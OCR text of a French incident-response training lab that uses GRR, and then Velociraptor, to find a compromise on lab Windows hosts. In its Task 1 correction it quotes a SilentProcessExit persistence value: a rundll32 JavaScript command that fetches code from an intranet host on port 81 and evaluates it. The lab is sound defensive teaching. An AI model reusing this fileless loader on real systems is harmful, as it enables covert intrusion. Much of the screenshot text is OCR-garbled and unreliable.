OFPPT WEBLQ Egﬁf ” Activité n° 1

Utilisation de GRR
(Google Rapid Response)

Compétences visées :

e Connaissance aisée des stratégies de réponse aux incidents

» Utilisation pratique des Framework de réponse aux incidents (GRR)

Recommandations clés :

e Se référer au cours
e Bien suivre les étapes du TP

* Consulter la documentation officielle




CONSIGNES
W WEBFORCE > 1. Pour le formateur:

La Vole de l'Avenir

* Laisser a I'apprenant I'occasion de comprendre seul I'énoncé
* S’assurer de la bonne compréhension du contexte des méthodologies

* Discuter les réponses des apprenants avant de corriger

2. Pourl’apprenant:

* Se familiariser avec les frameworks de réponse aux incidents (GRR, Velociraptor), afin
d'effectuer des activités IR plus rapides et plus efficaces

' 3. Conditions de réalisation :

’ * L’environnement de travail a été bien mis en place et configuré

4. Criteres de réussite:

* Terminer toutes les étapes du TP avec succes

e 70% des réponses correctes pour les questions posées durant le déroulement des TP




Activité n° 1 &0 \WEBFORCE

ope . QFPPT BE THE CHANGE
Utilisation de GRR

Pone o T e

Problématique et solution :

Problématique :
* Lorsqu'il s'agit de répondre a un incident sur les environnements d'entreprise, le temps de réponse et la visibilité sont essentiels.

* Supposons que plusieurs incidents aient été déclarés au sein d'un réseau d'entreprise hétérogéne et que vous soyez appelé a creuser plus profondément et a
identifier ce qui se passe réellement.

Solution :

* Pour résoudre ce probléme, vous avez décider d’utiliser GRR et de déployer des clients GRR sur les points de terminaison et, par la suite, vous pourrez avoir a la
fois une vue d'ensemble du réseau et un acces a la demande aux informations cruciales sur les points de terminaison.

La liste des terminaux concernés (qui comportent également un client GRR) est la suivante :
* winl0-server.els-child.eLS.local
* jumpbox.els-child.eLS.local

* xubuntu

<
—
-
o
<
o
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Utilisation de GRR : ’

- Pt o T

Objectifs d’apprentissage

* Plus précisément, vous apprendrez a utiliser les capacités de GRR pour :
v Avoir une meilleure visibilité sur un réseau
v' Répondre aux incidents rapidement et efficacement
v’ Effectuer a distance une analyse de la mémoire en utilisant le framework Rekall
v' Acquérir a distance des artefacts pour enquéter

v" Avoir une recherche proactive des menaces

* Au cours du laboratoire, vous aurez l'opportunité de détecter des logiciels malveillants (sans fichier), des techniques de persistance furtives et des tentatives
d'escalade de privileges, sur un réseau hétérogéne et de type entreprise.

<
—
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Activité n° 1 <0
Utilisation de GRR L e d

Configuration réseau et identifiants :

* Sous-réseau du répondant aux incidents : 172.16.66.0/24
* Sous-réseau des terminaux sous-investigués : 10.100.11.0/24
e Serveur GRR
olP:10.100.11.122
* Type de connexion : VNC

o Utilisez un client Linux ou Windows VNC pour vous connecter a GRR-Server (10.100.11.122)

Configurez une route statique, afin que le répondeur aux incidents puisse interagir avec les points de terminaison sur le sous-réseau 10.100.11.0/24.

* Pour vous connecter au panneau d'administration GRR (aprés vous étre connecté au serveur GRR via VNC comme mentionné ci-dessus) :
1. Ouvrez un navigateur Web

2. Accédez a localhost:8000

<
—
-
o
<
o

3. Soumettez les informations d'identification suivantes : admin/password
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Utilisation de GRR L e Be T

Taches:
* Avant de procéder a I'analyse d'un incident ou d'identifier une anomalie, certaines informations requises doivent d'abord étre recueillies. Ces informations sont les

interactions réseau, les ports d'écoute, les processus en cours d'exécution, les services en cours d'exécution, les utilisateurs connectés, etc. N'hésitez pas a les
prolonger.

Tdche 1 : identifier les anomalies sur le ENDPOINT win10-server.els-child.elLS.local, en tirant parti de GRR

* Tout d'abord, utilisez les capacités intégrées de GRR pour collecter rapidement autant d'informations initiales que possible sur ce point de terminaison. Ensuite,
essayez d'identifier tout ce qui est suspect ou qui s'écarte de la norme.

<
—
-
o
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o
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ilisati OFPPT FORCE
Utilisation de GRR

Taches

Tdche 2 : identifier toute anomalie sur le ENDPOINT jumpbox.els-child.elS.local, en tirant parti de GRR

* Tout d'abord, utilisez les capacités intégrées de GRR pour collecter rapidement autant d'informations initiales que possible sur ce point de terminaison. Ensuite,
essayez d'identifier tout ce qui est suspect ou qui s'écarte de la norme.

Cette fois, essayez également d'identifier comment le point de terminaison a été compromis en premier lieu.

Remarques

7’ * Les processus Windows courants qui sont mal utilisés par les attaquants sont notepad.exe et calc.exe. Plus précisément, les attaquants génerent
=L généralement les processus susmentionnés, puis injectent du code malveillant dans leur espace d'adressage mémoire. L'analyse de la mémoire est

nécessaire pour identifier ce qui a été chargé dans la mémoire d'un processus. Heureusement, GRR propose une analyse de la mémoire a distance,
en utilisant le framework Rekall.

* Dans des environnements bien sécurisés et entierement patchés, les humains sont généralement le maillon faible de la chaine de sécurité de
I'entreprise. Recherchez des documents Office malveillants, qui peuvent avoir incité I'utilisateur du point de terminaison a exécuter un code
malveillant.

<
—
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Utilisation de GRR i B

Correction : tache 1

Au moment ou un client GRR fait rapport a un serveur GRR, le point de terminaison comportant le client GRR est interrogé. « L'interrogation » est un processus GRR
qui collecte efficacement un trésor d'informations sur les terminaux.

Tout d'abord, une fois que vous étes connecté au panneau d'administration GRR (vous trouverez des informations sur la procédure a suivre ci-dessus, dans la section

Configuration réseau et informations d'identification), vous pouvez répertorier tous les clients GRR déployés en cliquant sur la zone de recherche et en appuyant sur
rien d'autre que Entrer.

¢ GRR | Home > | -+

. 3 _

.,_\(— ) —> G‘ ‘m [ @ ?J localhost:2000/# B80% I oo e Q } |||\ Ej =
=

@\ GRR User: admin 20190103 00:44:32 UTC | Search Box |]a®© ﬁ &
MANAGEMENT

SR Welcome to GRR

Hunt Manager Query for a system to view in the search box above.

Show Statistics Type a search term to search for a machine using either a hostname, mac address or usemame.

Advanced ~
CONFIGURATION

Recently Accessed Clients
Manage Binaries

Settings

Artifact Manager tlane;

l * - rows expired apy is
|

Recently Created Hunts

None.

<
—
-
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API Help Report a problem GRR Version 3.2.2.

>
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Correction : tache 1

* Sivous le faites, vous allez avoir le résultat suivant :

@GRR User. admin 20190103 004837 UTC. | [Search Bo I Q © n @
MANAGEMENT Jids i
Cron Job Viewer
Hunt Manager (] Online Subject Host 0S Version MAC Usernames First Seen
Show Statistics
Advanced ~ AdminELS
) win10- Administrator
DL R [ @ C.268ecci7baa7e530 serverelss  10.0.16299SP0 00:50:56:91:c0:e0 Administrator 2018-12-27 18:1
Manage Binaries chikl.eLS.local analyst1
Settings analyst2
Artifact Manager Administrator
Administrator. ELS-
CHILD
= jumpbox.els- 00:50:56:91:53:e3 analyst1 Yo =
[ @ Ca38eddftcodssatel oo 'C" " 6.3.9600SP0 | oo 73 2018-12-27 11:0
appsve
manager
uatoperator
] @ C.6c3172d6a86d5d8b xubuntu 16.4 000000000000 | 2er 2018-12-28 10:41

00:50:56:91:95:4¢c

<
—
-
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ere . OEPPT BE THE CHANGE
Utilisation de GRR

Correction : tache 1
* Important : ne démarrez aucune activité IR tant que tous les points ne sont pas devenues verts ! Cela peut prendre un certain temps avant qu'ils ne le fassent... Pour
actualiser, cliquez sur le logo GRR, puis cliquez a nouveau sur Search Box et appuyez sur Enter.

*  Pour commencer a collecter des informations initiales sur le point de terminaison winl10-server.els-child.eLS.local, il vous suffit de cliquer sur la premiére des trois
lignes, contenant tous les clients GRR déployés.

\-'Sn GRR User admin 20190103 00:48-37 UTC [asrch Bax Q@ ﬁ )
MANAGEMENT b i@
Cron Job Viewer
Hunt: Manages (] Online Subject Host 0S Version  MAC Usernames First Seen
Show Slalisfics [
Advanced « AdminELS
Tl win10- Administrator
e [] @ C.268eccf7baare530 sewerek- 10.0.16293SP0  00:50:56:91:c0-e0  Administrator 2018-12-27 18:
Manage Binares chid.eLS.hcal analyst!
Scttings analyst2
Arifact Manager Administrator
Administrator.ELS-
< CHILD
e jumpboxels- 00:50.56:91.53:23 analyst1 o0 G
w [ @  C.38ed3{1c9435a0ei chid &S Iacal §.3.9600SP0 00:50-56-01-d1-42 analyst? 20181227 110
— appsve
[ ) manager
(o' uatopcrator
< 00:00:00:00:00:00
a ; 12+
o @ C.6c3172d5a85d5d8b xubuniu 16.4 00-50.56-0105-4c chuser 2018-12-28 104
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Correction : tache 1

* Sivous le faites correctement, vous allez avoir le résultat ci-dessous :

\0:‘3 GRR User admin 20190103 00:58:53 UTC Saarch Box Q o ﬁ @
win10-servex.elschid.eLS focal ‘ :
i @7 e s wini0-server.els-child.eLS.local ¢ 268ecci7baazeszo

% Internal IP acdess

@ Interogate 2019-01-02 18:48:35 UTC ovevew | Full detals

Star new flows

S8rowes Vitual Filesystem

2 5 os @ Timestamps
Aan 3 (-}
Manage launched flow & Windows, 10 10.0.16299SP0 p

Advanced~
MANAGEMENT Last Local Clock Installation ime  2017-1225 00:26:30 UTC 374 cays ago
S £ 2019-01403 00:51:35 UTC
Cmn Joh Viewer First seen 2018-12-27 181220 UTC 6 days aoo
GRR Client Verzion
Hunt Managet 3220 Last booted 20190102 18:46:24 UTC & howrs age
Show Siatistics Aschitecture Lastseen 2019-0103 00:51:35 UTC 6 mirutes =0
Advanced~ AMD&4
CONFIGURATION Kernel
< Manage Binares 10.0.16299 = Interfaces
Selngs Memory Size
E Attifact Manage! 2.10GIB IF Name  Mac Address Addresses
IE Labels Int2liR) 86:58:56:061:00:€0 18.186.11. 181
No labels assigned. 82574L fc60:0000: £000:0000:56d1:0082: dbt
<C S Gigabit
Q. & /ArdminFl 2\ e

Copyright - Tout droit réservé - OFPPT 60



Activité n° 1 OO \WEBFORCE .

ere . OEPPT BE THE CHANGE
Utilisation de GRR

Correction : tache 1

* Cliquez sur Full Details pour une représentation plus détaillée des informations initiales acquises. Vous pouvez également parcourir les mémes informations collectées
a des dates plus anciennes et les utiliser comme référence.

*  Pour commencer a collecter des informations importantes sur ce point de terminaison, telles que les communications avec d'autres points de terminaison, les ports
d'écoute, etc., vous pouvez utiliser les GRR flows. Pour cela, cliquez sur Start new flows.

= GRR User admin 201301-03 00:58:53 UTC Sezrch Boy Q® ﬁ @

win10-seiver.elschikd. LS local

Status: @ 7 minutas ago Win1 O'SerVer. e|S'Chi|d.8LS.|Ocal C 268ecci7haa7a530

& Intemal |P acdess

@ Intenogate 20190102 13:48:35 UTC -] Overview | Full details

Star new flows

< Bmws2 Vitual Filesystem
7 & 0s ® Timestamps
anage iaunched tiow

L Saoge WMo L & Windows , 10 10.0.162395P0 i
|— Agvanced~ . -

WANAGEMENT ‘ Last Local Clock Installation ime 2017-12-25 00:26:30 UTC 374 davsagao
ﬂ<: N 020190103 A 137 11TR
a.
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Correction : tache 1

* Par exemple, pour répertorier toutes les connexions réseau actives sur ce point de terminaison, vous devez aller dans Network =» Netstat et appuyer sur Launch.

(= GRR User: admin 20180103 010756 UTC | Searn Bo q @ ﬁ @
C5h e ; i | Administrative |
win10-servercischild.cLSJocal : . —
- Listening on 1
Status’ @ B minutas ago I iy Drowaes ey b
& Intemal IP sddmss g Cheds
-] Collectors
Host [nformation ' 4l FieTypes Noiity at Compietion  [yf
| @ s
Rrowsa Vitual Flesystam K. | Memory Advinced s
Manage launched fiows ik | Network 4 o
- e - i e
Aavanced S Netstat
MANAGEMENT | ¥ Snicomsen Cutput Plgins -+
Cron Job Viewer =
|

,J Regis
Huni Manages i TR

: =~ 4 Yare
Show Statistics Launch

Advanced - 13
CONRAGURATION

<
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-
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Correction : tache 1

* Pour collecter les résultats, vous devez cliquer sur Manage launched flows puis cliquer sur le flux lancé.

\ M - .. Sanmen ;-,--
@ GRR User admin 2019401403 01:09:31 UTC Search Box Q © ﬁ (o
win 10-server eischild.cLS.loca A3 @ <
Statue: @ 7 minutes ago
& irtemal IP addrses, State Path Flow Name Creation Time Last Active Creator

Host Information

Start new flows I H:C24BB171:hunt | MeETODale 20190101 16:46:20 UTC 20190101 15:58:30 UTC GRRWorker
Browsa Yitual Fiesystem = '
Ianage launched flows < F:1CFB0352 RecursivelistDirecory  2018-12-27 18:29:30 UTC  2018-12-27 18.29:44 UTC  admin
Acvanced » | 2 F:DO593RCY RecursivelistDirectory  2018-12-27 18:28:30 UTC 2018-12-27 18:28:33 UTC  admin
MANAGEIEN
o <7 F:3339A868 ListDirectory 2018-12-27 18:28:11 UTC  2018-12-27 18:28:14 UTC admin
Cron Job Viewet T
Hun! Managsr
Show Statistcs Flow Infermation Requests Log API
Advanced -~
Name Netsiat

S Flow D  F:3E3BCES6
Manage Binariee Creator =zdmn
Setings StartTime 20190102 16:32:30 UTC

" Last Active  2019-01-)2 16:43:47 UTC
Ariifact Managar State TERMINATED

Argumenie

<
—
-
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<
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Utilisation de GRR

Correction : tache 1

* |lvous sera trés probablement présenté deux pages de résultats, mais le résultat le plus curieux est celui ci-dessous.

(> GRR User: admin 20190103 012433 UTC | Search Bos q @ &
win10-server.els<hili.cLS Jocal i | m Ex
Statue: @ 12 seconds ago
& Irtemal IP 2ddmes. State Path Flow Name Creation Time Last Acfive Creator
: [ F:ESOE36E0 Neistat 20150103 01:23:44 UTC 20190103 01:23:54 UTC admin
Hoet Information
Start new flows 14 F.C755C95A Neitstat 20180103 0121756 UTC | 201940103 01:22:10 UTC  agmin
Browse Vitual Flesystam L4 F:3E3BCES6E Netstat 20190102 16:32:30 UTC  2019-01-02 16:43:47 UTC admin
Manage launched flows
Advanced v < H-C248B171 hunt Interrogate 20180101 16:45:20 UTC 2019-01-01 16:56:30 UTC QGRRWaorker
Vance :C 8
MANAGEMENT |_m_e__ 5 l\)iHI‘UJ U!tdm U XL"....  —— .
Cron Job Viewer
Hun! Mznager Family INET
S et Type SOCK STREAM
Show Siatstics
Local p 10.100.11.100
Advanced v peLAcoDe Port 49708
CONFICURATION Payload p 10.100.11 2%0
Bemoto sihess
< Manage Binariss Port 81
Ll Settings Siate ESTABLISHED
T : Pd 3252
E Ariifact Managar b e umd_lt32.ele
< lmmelqll!‘ AT} Nel‘mo"vnmm
a.
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Correction : tache 1

* L'interaction avec un autre point de terminaison intranet (10.100.11.250) peut ou non étre anormale, mais rundll32 impliqué dans une connexion a distance sur le port
81 est certainement étrange. Gardez cette découverte a l'esprit pour plus tard.

Si vous ne trouvez pas le résultat ci-dessus, le timing était mauvais (la connexion est
devenue inactive). Ne vous inquiétez pas, vous pouvez toujours identifier qu'il y a quelque
chose qui ne va pas avec rundll32, en cliquant sur Start new flows, en naviguant vers
Processus -> ListProcesses et enfin en cliquant sur Launch.

En parcourant les résultats dans la zone Gérer les flux lancés et en accédant a la deuxieme
page des résultats, vous verrez rundll32 exécuter un code curieux et essayer de se
connecter a la machine intranet 10.100.11.250.

<
—
-
o
<
o

* N'hésitez pas a naviguer et a "jouer" avec tous les flux GRR disponibles, mais gardez a I'esprit que certains résultats peuvent prendre trés longtemps pour
atteindre le serveur GRR et que GRR en général peut parfois étre bizarre.
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Correction : tache 1

* Qu'en est-il du registre ? Essayons de tout lister sous I'emplacement :
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion
(qui, comme mentionné dans le premier module, est généralement utilisé abusivement par les attaquants pour déclencher des logiciels malveillants).

* Pour ce faire, cliquez sur Start new flows, puis accédez a Registre -> RegistryFinder.

o= GRR Usr: admin 20190103 01:34:06 UTC Search Box Q@ 2 &
E e ! | Administral Q
win SCrvercs o .eLS.loca i "
L. & Browsor Keyspatns @ ==

Status: @ | mnutes ago

& Intemal P adaress ~ L Checks
\l | Coliectors HKEY USERS”%users.skd%
Host Information ] ] FicTypes
| § Fempin Coratins

Browse Vinual Filesystem J ] Memory

Manage faunched flows ] ] Network
< o ! i Processe Notify at Complbton
E MANAGEMENT i 2 Registy =2
|_ Cron Job Viewer | l' s e
o Hunt Mansger i - e
< Show Statitics \ Regstﬁi
a. L 1 Yaa
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Correction : tache 1

* Maintenant, remplacez ce qui est inclus dans le rectangle rouge ci-dessous par :
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/*, faites défiler vers le bas et appuyez sur Launch.

Les résultats apparaitront dans la zone Manage launched flows, comme nous vous |I'avons montré précédemment. Il faudra un certain temps avant que les résultats
n'atteignent le serveur GRR.

* Vous pouvez consulter les résultats en cliquant dessous.

Value
afi4/C.268ecci7baa7e530/registry
/HKEY LOCAL MACHINE/SOFTWARE
Ampath ‘MicrosoftWindows/CurrentVersion
/AccountPicture
S("mgqg g'?f:f!!:! """
St size 4
Eavead S onty Pathiype REGISTRY
/HKEY_LOCAL_MACHINE
/SOFTWARE/Microsoft
Pathspec Path /Windows/CumentVersion

<
—
-
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<
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Correction : tache 1

* Vous serez redirigé vers Browse Virtual Filesystem, ou vous pourrez approfondir vos recherches.

* Par exemple, si vous vouliez approfondir AccountPicture, la premiére chose que vous verriez, c'est qu'il semble étre vide.

’; m a} ¥ Fiter ltems Y

registry HKEY _LOCAL MAC ? = Fe st %) Timeline | ~
Windows CurrentVersion ACcouliFiue

lcon Name st size st_mtime st_ctime GRR Snapshot

registty - HKEY_LOCAL _MACHINE = SOFTWARE Microsoft

Windows CumrentVersion

AccountPicture rew 2

<
—
-
o
<
o
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* Il n'est pas vide cependant, mais pas encore analysé/demandé. - e

Pour I'analyser/le demander, il suffit d'appuyer sur le bouton

. . registry - HKEY_LOCAL_MAC
d'actualisation et d'attendre. 4

Ereist D Timeline  ~

Windows CurnrentVersion ACCOUL P IoUie

lcon Name st _size st_mtime st_ctime GRR Snapshot

ragistry HKEY_LOCAL_MACHINE SOFTWARE Mizrosoft

Windows CurmrentVersion

<
—
-
(2’2
<
o

AccountPicture = w0 i
* Le contenu apparaitra alors (le cas échéant). £ | @R | | [Op|~| Fieritems Y
registry HKEY_LOCAL MAC ? = File fict %) Timeline: | -~
Windows CumentVersion ACCoUlFLIuTe
lcon Name st size st mtime st clime GRR Snapshot
l-@ Users 4 2019-01-03 01:44:48 UTC
regstry - HKEY_LOCAL_MACHINE SOFTWARE - Micosofi
Windows CunentVersion
AccountPicture @ e id
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* En enquétant sur tous les résultats, vous ne trouverez rien de suspect.
* Sivous démarrez un nouveau flux et spécifiez
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/*

dans RegistryFinder cette fois, vous trouverez quelque chose de vraiment suspect dans les résultats. Plus précisément, étudiez le résultat suivant (situé dans la
deuxieme page des résultats), en cliquant dessus.

afi4:/C 268ecci7baa7e530/registry
HKEY LOCAL MACHINE/SOFTWARE
MicrosoftWindows NT/CurmentVersion

SilentProcessExit
St size 4
Payload Stat entry Pathtype REGISTRY
/HKEY_LOCAL_MACHINE
< /SOFTWARE/Microsoft
LLl Pathspec Path /Windows
- P aa NT/CurrentVersion
o /SientProcessExit
< Path options CASE_LITERAL
('
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* Pour approfondir la recherche, vous devez d'abord le localiser dans le menu déroulant sur la partie gauche de I'écran, comme suit.

@ GRR  User admin
whi0-senerelschik.eLS jocal
Status: @34 saconde ago

N intemal 1P addess.

Heet Information

Star new flows

Brows2 Vitual Flesystem

Manage launched flows
Advanced »
MANAGEMENT
Con Joo Yiewer
Hunt Manager
Show Siatistics
Advanced «
OONFIOURATION
Manage Binarcs
Settngs

Artifact Mananer

20194103 01:58:29 UTC Search Bo a © )
| .
b~ ] Pediit =

v Fier llems

: 4 Polcyculs & &R Db Y
‘ .| Pors regisiry - HKEY LOCAL M# @ = ez D Timeine | -
ii .| Prewgxcher Windows NT - CurentVersion SIIPIOCESSEX
= il Print lcon Name st_size =t_mtime st ctime GCRR Snapshot
L ] Profiecunt = =
{ | PofieLst B | cacere 4 2018-12-27 182832 UT
(o~ 0
“ .| ProtlieNotircatio
1 _ | Protliesemvice
i~ L] RemoteRegistry
l | sPP L ———
.“- | s’Rum registry HKEY_LOCAL _MACHINE SOFTWARE Mcrosoft
Ai»_ | Schedule Windows NT CumentVersion
i i secesh HEAD -
| Sensor . .

“eeeenn] | SilentProcessExit
| [ g cak.exe
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* Cette entrée calc.exe est certainement suspecte. Examinez-le plus en détail, en double-cliquant d'abord dessus, puis en cliquant sur le bouton d'actualisation comme
vous |'avez fait précédemment.

e Une fois les derniers résultats arrivés, vous verrez ci-dessous. icon Name st_size st mtime st ctime GRR Snapshot
MaonitorProcess 274 20190103 02:04:32 UTC
ReportingMode 1 20190103 02:04:32 UTC
i . . . , . i lcon Name st_size st mtime st ctime GRR Snapshot
* Maintenant, si vous cliquez sur I'entrée MonitorProcess, vous verrez ci-contre.
MonitorProcess 274 20190103 02:04:32 UTC
ReportingMode 1 2019-01-03 02:04:32 UTC

REGISTRY

/HKEY_LOCAL_MACHINE/SOFTW

/Windows NT/CurrentVersion/Silentl

Jcak.exe/MonitorProcess

CASE_LITERAL
“windows\system32\rundii32. exe javascnpt:™\..

\mshtml. RunHTMLAppiication

+ STAT

<
—
-
(2’2
<
o

(h.Open("GET", http://10.100.11.250:81/connect” faise):h.
B=h.ResponseText:evaliB)}
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Correction : tache 1

* rundll32 exécutant du code JavaScript est mal intentionné a 99 % (et c'est pourquoi le point de terminaison communiquait avec la machine intranet 10.100.11.250 sur
le port 81).

* Larecherche des emplacements de registre entiers peut étre fastidieuse et inefficace, vous serez familiarisé avec les emplacements de registre et les techniques de
persistance de registre les plus couramment utilisés. Une telle connaissance accélérera les choses.

* Les configurations de registre congues pour étre utilisées pour le dépannage et le développement sont désormais un moyen de persistance secrete en raison du
manque de visibilité des outils de sécurité comme Autoruns.
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* Nous supposons que vous étes maintenant capable de collecter des informations initiales et importantes sur les points de terminaison, en utilisant a la fois la fonction
"d'interrogation" des clients GRR et des flux GRR, alors allons droit au but.

* Pour répertorier les processus en cours d'exécution de ce point de terminaison, cliquez sur Start new flows, puis accédez a Processus -> ListProcesses et enfin cliquez
sur Launch.

' 14 Colectors
Host Infomaton -8 FicTypes
ool - 4l Flesystem Notfy at Compiston (o
Browse Vitual Filesysiem | 1 | Memory
Manage launched fhws | | Network 5

Y R Advanced
Advanced~ 1 B .
MANAGEMENT Ry :

‘ ListProcesscs
Cron Job Viewer i .

i .| Registry Output Plugins +
Hurt Manager ‘ ;

— 4l Yam

Show Statistics

Advarced -

SONOCLHINATION

<
—
-
(2’2
<
o
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* Vous verrez des résultats similaires a ceux ci-dessous dans la zone Gérer les flux lancés (aprés environ 10 minutes).

Py 376
Ppid 288
Name wininit.exe
Exe CWindows'System32\wininit.exe
Cmdiine wininit.exe
Ctime 1546480038000000
Usemame NT AUTHORITY\SYSTEM
Status running
Nice 128
Cwd C:Windows'system32
Num threads 1
Pd 680
Ppid 1948
Name caic.exe

< Exe C:\Windows'System32\cak.exe
Cmdiine calc

o Ctime 1546480258000000

Iﬂ_: Usemame ELS-CHILD'\Administrator
Status running

< Payioad Nice 32

o Cwd C“Windows'system32
Num threads 8
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* Ce qui semble intéressant, c'est que calc.exe est en cours d'exécution. Bien sdr, cela pourrait étre quelque chose de bénin, mais les attaquants abusent souvent des
processus calc.exe et notepad.exe pour y injecter du code malveillant (et le faire ressembler a un processus Windows légitime). Pour inspecter ce qui a été chargé
dans/par calc.exe, vous avez besoin d'un outil d'analyse de la mémoire. Heureusement, GRR propose une analyse de la mémoire a distance en utilisant le framework
Rekall.

* Vous pouvez le faire en cliquant sur Start new flows, puis en naviguant vers Memory = AnalyzeClientMemory et enfin en spécifiant le plugin Rekall que vous
souhaitez exécuter et quelques arguments, avant d'appuyer sur Launch, comme suit.

\'E“ GRR User: admin 20190143 02:42:30 UTC Search Box Q © @
e kit R o) | {= ] Administral (4]
PHNPRON. S SO o 1002 ] i Request Plugins
Status: @ 1 minutas ago ‘l" .l Browser +
[~ L) Checks
# Intemal IP.addess 1 | .
Plugin ;
,' - ..l Colectors ugi drmodues
Host Information | | FleTypes
e b7 Args 4
Stat new flows : 8 | F3 b
<< Browse Vitual Ficsystem L Vi Memory -
Ll Manage launched flows 3 l Analyf:
o MANAGEMENT § { N
| Mem
<L Cron Job Viewer | St cac.exe
¢ | Netwaorg
(' Hunt Manager 3
= .g. ; .J Processes|,
Show Siatistics | [ {3
+— wu Regigtry | € )
Srvanredy | ¥ = e —
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* Dans ce cas, nous avons spécifié le plug-in Idrmodules Rekall, destiné spécifiqguement au processus calc.exe [la criminalistique de la mémoire n'est pas couverte en
détail dans ce cours (notre cours THP couvre ce sujet), mais il est bon de connaitre toutes les capacités du framework GRR].

* Sivous le faites, vous verrez des résultats similaires a ceux ci-dessous dans la zone Manage Launched flows (aprés quelques minutes).

State Path Flow Name Creation Time Last Active Creator

< F:AOECB1DD AnalyzeClentMemory 20190103 02:46:37 UTC 2019-01-03 02:48:17 UTC admin

< F:BB494EBD ListProcesses 201901-03 02:25:15 UTC  2019-01-03 02:34:12 UTC admin

14 F:BDAC73D4 AnalyzeClientMemory 20190102 17:42:15UTC 2019-01-02 17:42:42 UTC admin

<@ F9CB17453 AnalyzeClientMemory 20190102 17:26:44 UTC 201390102 17:35:45 UTC admin

~ — P '25\1W'\ﬂ‘1!7'\ DOAD DA DA AT ADMMAA LT Fadalall 1 SN NS,

tool_name rekall
plugin_name idrmodules
tool version 1.7.2.c1
Table:
divider §Em°°53m in_load :‘-'“"—"" in_init  in_init_path in_mem ‘:—""'"-" "
["p*."Inspecting Pid 680°]

Render all the data... (May take a while)

Fayload RekallResponse

Timestamp2019-01-03 02:48:17 UTC

<
—
-
(2’2
<
o
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* Maintenant, cliquez sur Render all the data.

* Vous aurez comme résultat quelque chose de similaire a ce qui suit.

State Path Flow Name
(V4 F:AOECB1DD AnalyzeClientMemory
(4 F:BB494EBD ListProcesses
& F:-BDAC73D4 AnalyzeClientMemory
V4 F:9CB17453 AnalyzeClientMemory
ol R
tool_name rekall
plugin_name kdrmodules
tool_version 1.7.2.¢1
Table:
divider
name _EPROCESS

<
—
-
(2’2
<
o

type name EPROCESS
vm

Parent PID 1948
Name calc.exe

Creation Time

2019-01-03 02:46:37 UTC
20190103 02:25:15 UTC
20190102 17:42:15UTC
20190102 17:26:44 UTC

00 o ldieidalile 01T

_EPROCESS

WindowsAMD&4PagedMemory@0x00
1A7000 (Kemel AS@0x1a7000)

Last Active

2019-01-03 02:48:17 UTC
2019-01-03 02:34:12 UTC
20190102 17:42:42 UTC
2019-01-02 17:35:45 UTC

OOAO DA DA AT ADAR RIS
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Enfin, si vous parcourez tout ce qui a été chargé, vous devriez remarquer ce qui suit :

-, - o v

Creation_Ti 20190103 01:50:58 UT

me c
\Dewice'\Har
ddfskVolum [C \Windows'Microsoft.Nej
File_Name 92A.Wmdows t\assembly\GAC_MSIL'S
System32c s ion ystem.Management. Aut
alc.exe true mation'v4.0 3.000 31
C:Windows 912 lor3856ad364e35:System
Cybox TrustedPath \System32'c _Management.Automatio
Image_Info s e
ge_ ProcessObj:|
type magelinfoTy
ne

System.Management.Automation.dll est en fait la DLL responsable de chaque opération PowerShell. Qu'est-ce que ca veut dire? Cela signifie qu'un code malveillant basé
sur PowerShell a été injecté dans calc.exe (au cours de la partie 2 de cet atelier, vous apprendrez a identifier exactement le code PowerShell qui a été injecté).

Comment ce point final a été infecté en premier lieu, vous pouvez vous demander. Examinez de plus prés le répertoire Downloads, au cas ou quelque chose de
malveillant aurait été téléchargé et exécuté.

<
—
-
(2’2
<
o
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Pour cela, cliquez sur Browse Virtual Filesystem, puis double-cliquez sur fs -> os -> C: -> Users -> Administrator.ELS-CHILD -> Downloads et enfin cliquez sur le bouton

refresh, comme vous l'avez fait précédemment.

Une fois que le dernier contenu du répertoire est retourné (aprés quelques minutes), vous devriez voir ci-dessous.

@, GRR User admn

jumpbox.elschiki el S.ocal
Status: @ 9 seconde ago

& Intemal [P address.

Host Information

Start new fows

Browse Virual Filesystem

Manage launched flows
Advanced »
MANAGEMENT

Cron Job Viswer

- Jil D:
~ 15K
lAl'egiSUY

20190103 03:10:35 UTC Search

[ui]

a° W (o
& | 8 | Dbz | retens v

fs = os  C: - Users  Adminisirator.ELS ?

(4

Eficist D Timeline -

Jusers lcon Name
i ArEesiogy QRR_3.22.0 amd64.cxc
L | Downkad :
. Windows desktop.ini
dlax-14c58c0894258c54¢ 12d5240fbalaafa253222cs0223a 1 [dcda946id1 69d8a1 2 xisx
| C————
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* Le programme d'installation du client GRR et un fichier .xlsx sont inclus. lcon Name
Examinons de plus pres ce fichier .xlIsx. GRR 3220 amd64 exe
* Pour ce faire, cliquez sur le fichier .xslx, cliquez sur Download, faites défiler desktop.ini

vers le bas et enfin cliquez sur Re-Collect from the client.
xisx-14c58e3894258c54212d52d0fbalaafa258222ce9223a11dcBa9461d169d8a12 xisx

Download
Download (0 bytes)
Or by using command line export tool:

/usr/bin/grr_api_shell 'http://18.166.11.122:88808" --.exec_code 'grrapi

%= Re-Collect from the client

<
—
-
(2’2
<
o

Copyright - Tout droit réservé - OFPPT 81



CE o,
OFPFT WEBLQ Ems > Activité n° 2

Utilisation de VELOCIRAPTOR

Compétences visées :

* Connaissance aisée des stratégies de réponse aux incidents

» Utilisation pratique des Framework de réponse aux incidents
(VELOCIRAPTOR)

Recommandations clés :

* Se référer au cours
e Bien suivre les étapes du TP

* Consulter la documentation officielle

5,5 heures
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Description de I’atelier :

Cet atelier reprend la ol s'est arrétée I'activité 1 :

Un autre point de terminaison Windows affecté (WIN10.els-child.eLS.local) existait dans le méme sous-réseau intranet (10.100.11.0/24), qui était surveillé non pas par
GRR, mais par le framework Velociraptor IR.

Velociraptor est basé sur GRR, mais dispose de fonctionnalités supplémentaires, telles que la possibilité d'exécuter a distance (ou localement) des requétes Velocidex
Query Language (VQL) et une meilleure surveillance des événements.

Votre mission est toujours la méme. Vous étes appelé pour identifier ce qui se passe réellement a l'intérieur du point de terminaison WIN10.els-child.eLS.local, mais
cette fois, vous devrez tirer parti des capacités du framework Velociraptor.
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Objectifs d’apprentissage

* L'objectif d'apprentissage de cet activité est de vous familiariser avec Velociraptor, afin d'effectuer des activités IR plus rapides et plus efficaces.
* Plus précisément, vous apprendrez a utiliser les capacités de Velociraptor afin de :
v Avoir une meilleure visibilité sur un réseau

v' Répondre aux incidents rapidement et efficacement

v Exécuter a distance des requétes Velocidex Query Language (VQL) et extraire des données critiques.

